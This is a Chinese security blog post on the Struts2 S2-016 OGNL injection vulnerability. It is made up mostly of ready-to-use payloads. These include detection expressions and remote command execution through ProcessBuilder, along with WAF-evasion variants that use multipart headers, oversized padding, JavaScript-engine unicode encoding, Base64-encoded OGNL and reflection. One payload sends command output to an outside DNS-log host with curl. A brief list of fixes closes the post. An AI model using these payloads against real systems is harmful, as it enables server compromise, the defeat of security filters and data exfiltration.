原创 | S2-016漏洞整理

  • A+
所属分类:安全文章
原创 | S2-016漏洞整理
点击上方蓝字 关注我吧
原创 | S2-016漏洞整理
引言


最近项目上跟Struts2框架打交道比较多,整理一下比较经典的几个漏洞的测试以及Bypass姿势。首先是S2-016。


PS:升级迁移这个东西真的很费劲。


原创 | S2-016漏洞整理

原创 | S2-016漏洞整理
关于S2-016测试


影响版本:Struts 2.3.15.1之前的所有版本

验证及判断方法

一般可以通过在对应的接口,使用如下Payload触发302重定向来进行判断:

redirect:${1*1}
redirectAction:${1*1}
redirect-action:${1*1}
(老版本的Struts2可以使用)
会触发302跳转并且执行对应的算数表达式:

原创 | S2-016漏洞整理

利用application(Struts2自带的ActionContext类特性)确定可以执行代码:
redirect:${#application.get('javax.servlet.context.tempdir')}

通过执行application对象(Web服务器启动时,会自动会每个Web服务目录都创建一个application对象)的方法,尝试读取项目中的临时存储目录来判断是否可以执行代码:


原创 | S2-016漏洞整理

绕过手法:主要思路就是绕过关键字检测。


multipart绕过

跟Spring框架不一样,Struts2的multipart提交方式并不能通过删除from-data或者大小写变换Content-Type的内容来进行提交。以下是struts2的处理方式:
protected HttpServletRequest processMultipart(HttpServletRequest request)  {    if (!"POST".equalsIgnoreCase(request.getMethod())) {      return request;    }
String contentType = request.getContentType(); if ((contentType != null) && (contentType.startsWith("multipart/form-data"))) { return new MultipartRequestWrapper(request); } return request;  }


绕过方式主要是修改成multipart提交方式:

原创 | S2-016漏洞整理


因为是startsWith的检查,所以也可以修改相关内容为multipart/form-databypass进行绕过。


写入超长变量构造超大数据包

可以通过新建字符串变量的方式,创建超长的字符变量,尝试绕过waf(一般waf对于超大数据包有buffer防守,超过buffer防守的话,即可绕过防护):

创建字符串变量的方式:

#x=(new java.lang.String[] {'a'})


payload变形:

redirect:${#x=(new java.lang.String[] {'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'}),new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','whoami'}).start().getInputStream())).readLine()}


原创 | S2-016漏洞整理


调用js引擎编码绕过

针对一些敏感字符例如start()之类的检测拦截,可以考虑调用Java的js引擎进行编码解码操作来进行绕过。

js引擎调用:

new javax.script.ScriptEngineManager().getEngineByName("js").eval(此处的Payload可以进行unicode编码)

payload变形:  
redirect:${new javax.script.ScriptEngineManager().getEngineByName("js").eval("new ju0061va.lang.ProcessBuilder['(java.lu0061ng.String[])'](['/bin/sh','-c','curl http://dnslog地址/`whoami`']).start()u003B")}


原创 | S2-016漏洞整理


调用base64引擎编码绕过

针对一些敏感字符例如start()之类的检测拦截,可以考虑调用Java的Base64引擎进行编码解码操作来进行绕过。


前提条件要满足Struts2 version<=2.0.14


主要是这两个编码引擎:
com.sun.xml.internal.messaging.saaj.util.Base64():


redirect:${#p=new com.sun.xml.internal.messaging.saaj.util.Base64().base64Decode('Base64编码部分'),@ognl.Ognl@getValue(new java.lang.String(#p), #context, #context.getRoot())}

sun.misc.BASE64Decoder():

redirect:${#p=new com.sun.xml.internal.messaging.saaj.util.Base64().base64Decode('Base64编码部分'),@ognl.Ognl@getValue(new java.lang.String(#p), #context, #context.getRoot())}


Base64编码部分:将以下poc写入想要执行的命令,Base64编码然后放入到编码引擎poc中即可:

#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('想要执行的命令'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()


举例:


redirect:${#p=new sun.misc.BASE64Decoder().decodeBuffer('I3JlcT0jY29udGV4dC5nZXQoJ2NvbS5vcGVuc3ltcGhvbnkueHdvcmsyLmRpc3BhdGNoZXIuSHR0cFNlcnZsZXRSZXF1ZXN0JyksI3M9bmV3IGphdmEudXRpbC5TY2FubmVyKChuZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKCd3aG9hbWknLnRvU3RyaW5nKCkuc3BsaXQoJ1xcXFxzJykpKS5zdGFydCgpLmdldElucHV0U3RyZWFtKCkpLnVzZURlbGltaXRlcignXFxcXEFBQUEnKSwjc3RyPSNzLmhhc05leHQoKT8jcy5uZXh0KCk6JycsI3Jlc3A9I2NvbnRleHQuZ2V0KCdjb20ub3BlbnN5bXBob255Lnh3b3JrMi5kaXNwYXRjaGVyLkh0dHBTZXJ2bGV0UmVzcG9uc2UnKSwjcmVzcC5zZXRDaGFyYWN0ZXJFbmNvZGluZygnVVRGLTgnKSwjcmVzcC5nZXRXcml0ZXIoKS5wcmludGxuKCNzdHIpLCNyZXNwLmdldFdyaXRlcigpLmZsdXNoKCksI3Jlc3AuZ2V0V3JpdGVyKCkuY2xvc2UoKQ=='),@ognl.Ognl@getValue(new java.lang.String(#p), #context, #context.getRoot())}


原创 | S2-016漏洞整理


com.sun.xml.internal.messaging.saaj.util.Base64:

原创 | S2-016漏洞整理


通过反射进行调用

针对某些waf可能检测类似start、readline等命令关键字。可以通过反射结合byte字节转换来绕过。

这里通过反射调用ProcessBuilder的start方法,以及BufferedReader的readline方法。通过结合byte字节转换来屏蔽对应关键字:

redirect:${#p=new java.lang.ProcessBuilder(new java.lang.String[]{'bash','-c','whoami'}),#m=#p.getClass().getDeclaredMethod('start',null),#p1=#m.invoke(#p,null),#isr=new java.io.InputStreamReader(#p1.getInputStream()),#br=new java.io.BufferedReader(#isr),#m1=#br.getClass().getMethod(new java.lang.String(new byte[]{114,101,97,100,76,105,110,101}),null),#m1.invoke(#br,null)}


原创 | S2-016漏洞整理


原创 | S2-016漏洞整理
修复建议


1.按照官方建议进行Struts2的版本升级;(可能导致例如Spring不兼容的问题,影响稳定性)

2.手工修改Ognl.jar源码,增加恶意代码的过滤;
3.重写
struts2DefaultActionMapper
的handleSpecialParameters方法,
增加action、redirect、redirectAction等参数的过滤。
4.在沙箱中运行OGNL表达式:
添加-Dognl.security.manager参数
限制OGNL表达式最大允许长度:
struts.ognl.expressionMaxLength

参考[https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable](


原创 | S2-016漏洞整理
原创 | S2-016漏洞整理
原创 | S2-016漏洞整理

原创 | S2-016漏洞整理
点分享
原创 | S2-016漏洞整理
点收藏
原创 | S2-016漏洞整理
点点赞
原创 | S2-016漏洞整理
点在看

本文始发于微信公众号(SecIN技术平台):原创 | S2-016漏洞整理

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: